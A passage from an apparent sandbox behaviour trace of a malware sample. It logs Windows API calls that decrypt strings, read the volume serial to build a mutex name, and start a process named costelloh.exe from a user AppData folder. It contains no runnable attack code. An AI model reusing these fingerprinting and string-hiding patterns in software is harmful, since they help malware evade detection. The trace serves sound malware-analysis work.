	[0206.888] CryptImportKey (in: hProv=0x1e1320, pbData=0x8ff85c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x8ff8c4 | out: phKey=0x8ff8c4*=0x1e9478) returned 1
	[0206.888] CryptSetKeyParam (hKey=0x1e9478, dwParam=0x1, pbData=0x8ff8ac, dwFlags=0x0) returned 1
	[0206.888] CryptDecrypt (in: hKey=0x1e9478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x181210, pdwDataLen=0x8ff878 | out: pbData=0x181210, pdwDataLen=0x8ff878) returned 1
	[0206.888] CryptDestroyKey (hKey=0x1e9478) returned 1
	[0206.888] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1e) returned 0x181238
	[0206.888] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x1e) returned 0x181260
	[0206.888] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x90) returned 0x181288
	[0206.888] CryptImportKey (in: hProv=0x1e1320, pbData=0x8ff834, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x8ff89c | out: phKey=0x8ff89c*=0x1e9278) returned 1
	[0206.888] CryptSetKeyParam (hKey=0x1e9278, dwParam=0x1, pbData=0x8ff884, dwFlags=0x0) returned 1
	[0206.888] CryptDecrypt (in: hKey=0x1e9278, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x181288, pdwDataLen=0x8ff850 | out: pbData=0x181288, pdwDataLen=0x8ff850) returned 1
	[0206.888] CryptDestroyKey (hKey=0x1e9278) returned 1
	[0206.888] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181288 | out: hHeap=0x180000) returned 1
	[0206.888] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x181238, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0206.888] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181260 | out: hHeap=0x180000) returned 1
	[0206.888] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181210 | out: hHeap=0x180000) returned 1
	[0206.888] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x8ff904, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x8ff904*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0206.889] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181238 | out: hHeap=0x180000) returned 1
	[0206.889] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x40) returned 0x181210
	[0206.889] CryptImportKey (in: hProv=0x1e1320, pbData=0x8ff890, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x8ff8f8 | out: phKey=0x8ff8f8*=0x1e9378) returned 1
	[0206.889] CryptSetKeyParam (hKey=0x1e9378, dwParam=0x1, pbData=0x8ff8e0, dwFlags=0x0) returned 1
	[0206.889] CryptDecrypt (in: hKey=0x1e9378, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x181210, pdwDataLen=0x8ff8ac | out: pbData=0x181210, pdwDataLen=0x8ff8ac) returned 1
	[0206.889] CryptDestroyKey (hKey=0x1e9378) returned 1
	[0206.889] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x34) returned 0x181258
	[0206.889] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x1f0
	[0206.889] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102
	[0206.889] CloseHandle (hObject=0x1f0) returned 1
	[0206.889] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181210 | out: hHeap=0x180000) returned 1
	[0206.889] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181258 | out: hHeap=0x180000) returned 1
	[0206.889] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1811c0 | out: hHeap=0x180000) returned 1
	[0206.889] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1811e8 | out: hHeap=0x180000) returned 1
	[0206.889] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181058 | out: hHeap=0x180000) returned 1
	[0206.889] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181fe8 | out: hHeap=0x180000) returned 1
	[0206.889] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181fb0 | out: hHeap=0x180000) returned 1
	[0206.890] GetModuleHandleW (lpModuleName="mscoree.dll") returned 0x0
	[0206.890] ExitProcess (uExitCode=0x0) 
	[0206.890] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1805a8 | out: hHeap=0x180000) returned 1

Thread:
	id = 51
	os_tid = 0xb50


Process:
	id = "12"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x197aa000"
	os_pid = "0x560"
	os_integrity_level = "0x4000"
	os_privileges = "0x260814080"
	monitor_reason = "rpc_server"
	parent_id = "9"
	os_parent_pid = "0x6c0"
	cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e8d5" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 61
	os_tid = 0x388


Thread:
	id = 62
	os_tid = 0xa08


Thread:
	id = 63
	os_tid = 0xa04


Thread:
	id = 64
	os_tid = 0xa00


Thread:
	id = 65
	os_tid = 0x760


Thread:
	id = 66
	os_tid = 0x75c


Thread:
	id = 67
	os_tid = 0x730


Thread:
	id = 68
	os_tid = 0x704


Thread:
	id = 69
	os_tid = 0x700


Thread:
	id = 70
	os_tid = 0x6f8


Thread:
	id = 71
	os_tid = 0x568


Thread:
	id = 72
	os_tid = 0x564


Process:
	id = "13"
	image_name = "costelloh.exe"
	filename = "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe"
	page_root = "0x28bb9000"
	os_pid = "0xd2c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "9"
	os_parent_pid = "0x6c0"
	cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 77
	os_tid = 0xd30

	[0213.426] GetStartupInfoW (in: lpStartupInfo=0xd3fbf4 | out: lpStartupInfo=0xd3fbf4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) 
	[0213.426] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0213.426] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x680000
	[0213.431] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0213.431] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsAlloc") returned 0x74af4ae0
	[0213.431] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsGetValue") returned 0x74af4b20
	[0213.432] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsSetValue") returned 0x74af4b40
	[0213.432] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsFree") returned 0x74af4b00
	[0213.433] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x214) returned 0x6805a8
	[0213.433] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0213.433] GetCurrentThreadId () returned 0xd30
	[0213.433] GetStartupInfoW (in: lpStartupInfo=0xd3fb90 | out: lpStartupInfo=0xd3fb90*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) 
	[0213.433] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x800) returned 0x6807c8
	[0213.433] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0213.433] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0213.433] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0213.433] SetHandleCount (uNumber=0x20) returned 0x20
	[0213.433] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe\" "
	[0213.433] GetEnvironmentStringsW () returned 0x13e810*
	[0213.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381
	[0213.433] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x565) returned 0x680fd0
	[0213.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x680fd0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381
	[0213.434] FreeEnvironmentStringsW (penv=0x13e810) returned 1
	[0213.434] GetLastError () returned 0xcb
	[0213.434] SetLastError (dwErrCode=0xcb) 
	[0213.434] GetLastError () returned 0xcb
	[0213.434] SetLastError (dwErrCode=0xcb) 
	[0213.434] GetLastError () returned 0xcb
	[0213.434] SetLastError (dwErrCode=0xcb) 
	[0213.434] GetACP () returned 0x4e4
	[0213.434] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x220) returned 0x681540
	[0213.434] GetLastError () returned 0xcb
	[0213.434] SetLastError (dwErrCode=0xcb) 
	[0213.434] IsValidCodePage (CodePage=0x4e4) returned 1
	[0213.434] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xd3fb58 | out: lpCPInfo=0xd3fb58) returned 1
	[0213.434] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xd3f624 | out: lpCPInfo=0xd3f624) returned 1
	[0213.434] GetLastError () returned 0xcb
	[0213.434] SetLastError (dwErrCode=0xcb) 
	[0213.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd3fa38, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0213.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd3fa38, cbMultiByte=256, lpWideCharStr=0xd3f3a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0213.435] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0xd3f638 | out: lpCharType=0xd3f638) returned 1
	[0213.435] GetLastError () returned 0xcb
	[0213.435] SetLastError (dwErrCode=0xcb) 
	[0213.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd3fa38, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0213.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd3fa38, cbMultiByte=256, lpWideCharStr=0xd3f368, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0213.435] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0213.435] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xd3f158, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
	[0213.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0xd3f938, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x2e\x5f\xf8\xd5\x70\xfb\xd3", lpUsedDefaultChar=0x0) returned 256
	[0213.435] GetLastError () returned 0xcb
	[0213.435] SetLastError (dwErrCode=0xcb) 
	[0213.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd3fa38, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0213.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd3fa38, cbMultiByte=256, lpWideCharStr=0xd3f388, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0213.435] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0213.435] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xd3f178, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
	[0213.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0xd3f838, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd